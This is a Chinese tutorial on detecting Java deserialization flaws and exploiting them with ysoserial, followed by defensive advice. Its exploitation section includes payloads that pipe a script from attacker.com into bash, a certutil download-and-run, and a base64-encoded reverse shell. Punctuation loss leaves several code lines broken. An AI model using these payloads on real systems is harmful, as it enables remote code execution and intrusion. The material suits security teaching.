Java 反序列化漏洞检测 3 步法:从流量识别到 ysoserial 利用

📅 2026/7/8 2:31:56
Java 反序列化漏洞检测 3 步法:从流量识别到 ysoserial 利用
Java 反序列化漏洞检测 3 步法从流量识别到 ysoserial 利用1. 漏洞原理与危害场景Java 反序列化漏洞的本质在于当应用程序对不可信的序列化数据进行反序列化操作时攻击者可以通过构造恶意序列化数据在目标系统上执行任意代码。这种漏洞通常出现在以下场景RMI/HTTP协议传输的序列化对象JMX、JMS等分布式通信组件缓存系统如Redis存储的序列化数据自定义的序列化/反序列化逻辑典型攻击链序列化恶意对象 → 传输至目标系统 → 触发反序列化 → 执行危险操作如Runtime.exec()关键风险点在于许多Java库如Apache Commons Collections中存在gadget chain工具链这些链式调用可以在反序列化过程中被触发。例如// 典型的危险反序列化代码示例 ObjectInputStream ois new ObjectInputStream(inputStream); Object obj ois.readObject(); // 风险点2. 流量特征识别技术2.1 识别序列化数据特征Java序列化数据通常具有以下特征标识十六进制开头AC ED 00 05魔数Base64编码特征通常以rO0开头常见Content-Typeapplication/x-java-serialized-objectapplication/octet-streamBurp Suite检测方法安装Java Serialization Scanner插件在Proxy或Repeater模块观察请求POST /api/v1/process HTTP/1.1 Content-Type: application/x-java-serialized-object [HEX: AC ED 00 05 73 72 00...]使用插件主动扫描提示该插件会自动检测HTTP请求中的序列化数据并标记潜在风险2.2 关键检测指标检测维度安全特征风险特征协议类型JSON/XMLJava序列化二进制流内容编码明文文本Base64编码的二进制数据请求头标准Content-Typeapplication/x-java-serialized-object流量模式常规业务参数包含明显类名如AnnotationInvocationHandler3. 漏洞利用实战ysoserial工具链3.1 环境准备下载ysoserialgit clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests常用payload类型CommonsCollections1-7 Groovy1 Spring1 Hibernate13.2 Hibernate5利用案例针对使用Hibernate框架的系统# 生成PayloadLinux环境 java -jar ysoserial.jar Hibernate1 curl http://attacker.com/shell.sh | bash payload.bin # 发送恶意请求 curl -X POST --data-binary payload.bin \ -H Content-Type: application/x-java-serialized-object \ http://target.com/api/deserialize关键参数说明Hibernate1利用Hibernate的TemplatesImpl链命令中的管道符需要根据目标OS调整# Windows示例 cmd.exe /c certutil -urlcache -split -f http://attacker.com/shell.exe C:\\Temp\\shell.exe C:\\Temp\\shell.exe3.3 跨平台Payload调整技巧不同操作系统需要适配的命令格式操作系统命令分隔符示例命令Windowsping 127.0.0.1 whoamiLinux;sleep 5; idMacOS;open /Applications/Calculator.app特殊字符处理// 使用Base64编码规避特殊字符限制 String cmd bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i};4. 防御与检测方案4.1 安全编码实践替换方案// 使用JSON替代Java序列化 ObjectMapper mapper new ObjectMapper(); String json mapper.writeValueAsString(obj);输入验证// 白名单校验类名 private static final SetString ALLOWED_CLASSES Set.of( com.example.SafeClass, java.util.ArrayList ); public Object safeDeserialize(byte[] data) { ObjectInputStream ois new RestrictedObjectInputStream(data); // ... }4.2 运行时防护JVM级防护# 添加JVM参数限制反序列化 -Djdk.serialFilter!org.apache.commons.collections.functors.*,!com.sun.rowset.JdbcRowSetImpl*推荐工具对比工具名称检测能力防护方式适用场景Contrast Security实时字节码分析运行时阻断生产环境OWASP Java Encoder输入过滤编码防护开发阶段SerialKiller类名白名单拦截恶意反序列化中间件防护在实际项目中我们曾遇到一个典型案例某金融系统因使用Apache Commons Collections 3.1版本攻击者通过精心构造的序列化数据仅用37字节的payload就实现了远程代码执行。这充分说明及时更新依赖库的重要性。